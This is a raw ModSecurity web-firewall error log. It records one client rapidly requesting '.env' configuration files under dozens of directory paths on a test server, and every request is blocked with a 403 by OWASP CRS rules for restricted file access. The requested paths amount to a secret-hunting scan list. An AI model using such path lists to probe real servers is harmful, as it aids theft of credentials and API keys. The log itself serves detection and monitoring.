[Mon Jul 28 20:46:15.235863 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/option/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueWgAAAAk&quot;]
[Mon Jul 28 20:46:15.236017 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/option/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueWgAAAAk&quot;]
[Mon Jul 28 20:46:15.258165 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /orientdb-client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/orientdb-client/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueWwAAAAk&quot;]
[Mon Jul 28 20:46:15.258369 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/orientdb-client/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueWwAAAAk&quot;]
[Mon Jul 28 20:46:15.258519 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/orientdb-client/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueWwAAAAk&quot;]
[Mon Jul 28 20:46:15.280738 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /outputs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/outputs/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueXAAAAAk&quot;]
[Mon Jul 28 20:46:15.280925 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/outputs/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueXAAAAAk&quot;]
[Mon Jul 28 20:46:15.281083 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/outputs/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueXAAAAAk&quot;]
[Mon Jul 28 20:46:15.303248 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /owncloud/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/owncloud/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueXQAAAAk&quot;]
[Mon Jul 28 20:46:15.303470 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/owncloud/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueXQAAAAk&quot;]
[Mon Jul 28 20:46:15.303638 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/owncloud/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueXQAAAAk&quot;]
[Mon Jul 28 20:46:15.348855 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /packages/styled-ui-docs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/styled-ui-docs/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueXwAAAAk&quot;]
[Mon Jul 28 20:46:15.349049 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/styled-ui-docs/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueXwAAAAk&quot;]
[Mon Jul 28 20:46:15.349200 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/styled-ui-docs/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueXwAAAAk&quot;]
[Mon Jul 28 20:46:15.371661 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /packages/web/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/web/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueYAAAAAk&quot;]
[Mon Jul 28 20:46:15.371990 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/web/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueYAAAAAk&quot;]
[Mon Jul 28 20:46:15.372197 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/web/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueYAAAAAk&quot;]
[Mon Jul 28 20:46:15.394302 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /packed/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packed/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueYQAAAAk&quot;]
[Mon Jul 28 20:46:15.394528 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packed/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueYQAAAAk&quot;]
[Mon Jul 28 20:46:15.394692 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packed/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueYQAAAAk&quot;]
[Mon Jul 28 20:46:15.417741 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /page-editor/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/page-editor/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueYgAAAAk&quot;]
[Mon Jul 28 20:46:15.417928 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/page-editor/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueYgAAAAk&quot;]
[Mon Jul 28 20:46:15.418092 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/page-editor/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueYgAAAAk&quot;]
[Mon Jul 28 20:46:15.440234 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /panel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/panel/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueYwAAAAk&quot;]
[Mon Jul 28 20:46:15.440420 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/panel/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueYwAAAAk&quot;]
[Mon Jul 28 20:46:15.440569 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/panel/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueYwAAAAk&quot;]
[Mon Jul 28 20:46:15.462682 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /parity/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/parity/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueZAAAAAk&quot;]
[Mon Jul 28 20:46:15.462859 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/parity/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueZAAAAAk&quot;]
[Mon Jul 28 20:46:15.463023 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/parity/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueZAAAAAk&quot;]
[Mon Jul 28 20:46:15.487183 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /passportjs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Passportjs/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueZQAAAAk&quot;]
[Mon Jul 28 20:46:15.487368 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Passportjs/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueZQAAAAk&quot;]
[Mon Jul 28 20:46:15.487539 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Passportjs/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueZQAAAAk&quot;]
[Mon Jul 28 20:46:15.509663 2025] [:error] [pid 1534267] [client 185.177.72.201:36204] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /patchwork/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/patchwork/.env&quot;] [unique_id &quot;aIfFd14f-9g1kJksHwueZgAAAAk&quot;]
